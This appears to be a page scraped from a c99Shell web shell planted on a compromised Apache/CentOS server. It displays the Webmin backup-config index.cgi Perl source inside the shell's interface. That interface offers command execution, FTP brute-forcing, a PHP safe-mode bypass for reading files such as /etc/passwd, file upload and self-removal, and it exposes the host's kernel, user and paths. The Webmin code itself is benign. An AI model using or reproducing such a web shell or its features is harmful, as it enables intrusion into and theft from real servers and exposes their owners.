!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/backup-config/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (3.16 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show all scheduled backups, and a form for doing an immediate one

use strict;
use warnings;
require './backup-config-lib.pl';
our (%text, %in, %config);
&ReadParse();

&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);
my @mods = &list_backup_modules();
if (!@mods) {
    &ui_print_endpage($text{'index_emods'});
    }
my %mods = map { $_->{'dir'}, $_ } @mods;

# Show tabs
my @tabs = ( [ "backup", $text{'index_tabbackup'}, "index.cgi?mode=backup" ],
         [ "sched", $text{'index_tabsched'}, "index.cgi?mode=sched" ],
         [ "restore", $text{'index_tabrestore'}, "index.cgi?mode=restore" ],
       );
print &ui_tabs_start(\@tabs, "tab", $in{'mode'} || "backup", 1);

print &ui_tabs_start_tab("tab", "sched");
my @backups = &list_backups();
my $using_strftime = 0;
if (@backups) {
    # Show all scheduled backups
    print "<a href='edit.cgi?new=1'>$text{'index_add'}</a><br>\n";
    print &ui_columns_start([ $text{'index_dest'},
                      $text{'index_mods'},
                      $text{'index_sched'} ], 100);
    foreach my $b (@backups) {
        my @m = map { $mods{$_}->{'desc'} }
                split(/\s+/, $b->{'mods'});
        print &ui_columns_row(
            [ "<a href='edit.cgi?id=$b->{'id'}'>".
              &nice_dest($b->{'dest'})."</a>",
              @m > 5 ? &text('index_count', scalar(@m))
                 : join(", ", @m),
              $b->{'sched'} ? &text('index_when',
                &cron::when_text($b)) : $text{'no'} ]);
        $using_strftime++ if ($b->{'dest'} =~ /%/);
        }
    print &ui_columns_end();
    }
else {
    print "<b>$text{'index_none'}</b><p>\n";
    }
print "<a href='edit.cgi?new=1'>$text{'index_add'}</a><p>\n";
if ($using_strftime && !$config{'date_subs'}) {
    print "<font color=#ff0000><b>$text{'index_nostrftime'}",
          "</b></font><p>\n";
    }
print &ui_tabs_end_tab();

# Show immediate form
print &ui_tabs_start_tab("tab", "backup");
print &ui_form_start("backup.cgi/backup.tgz", "post");
print &ui_table_start($text{'index_header'}, undef, 2);

my @dmods = split(/\s+/, $config{'mods'} || "");
print &ui_table_row($text{'edit_mods'},
            &ui_select("mods", \@dmods,
               [ map { [ $_->{'dir'}, $_->{'desc'} ] } @mods ],
               10, 1));

print &ui_table_row($text{'edit_dest'},
            &show_backup_destination("dest", $config{'dest'}, 2));

print &ui_table_row($text{'edit_what'},
            &show_backup_what("what", $config{'configfile'},
                          $config{'nofiles'}));

print &ui_table_end();
print &ui_form_end([ [ 'backup', $text{'index_now'} ] ]);

print &ui_tabs_end_tab();

# Show restore form
print &ui_tabs_start_tab("tab", "restore");
print &ui_form_start("restore.cgi", "form-data");
print &ui_table_start($text{'index_header2'}, undef, 2);

print &ui_table_row($text{'edit_mods2'},
            &ui_select("mods", \@dmods,
               [ map { [ $_->{'dir'}, $_->{'desc'} ] } @mods ],
               5, 1));

print &ui_table_row($text{'edit_dest2'},
            &show_backup_destination("src", $config{'dest'}, 1));

print &ui_table_row($text{'index_apply'},
            &ui_yesno_radio("apply", $config{'apply'} ? 1 : 0));

print &ui_table_row($text{'index_test'},
            &ui_yesno_radio("test", 0));

print &ui_table_end();
print &ui_form_end([ [ 'restore', $text{'index_now2'} ] ]);

print &ui_tabs_end_tab();
print &ui_tabs_end(1);

&ui_print_footer("/", $text{'index'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0161 ]--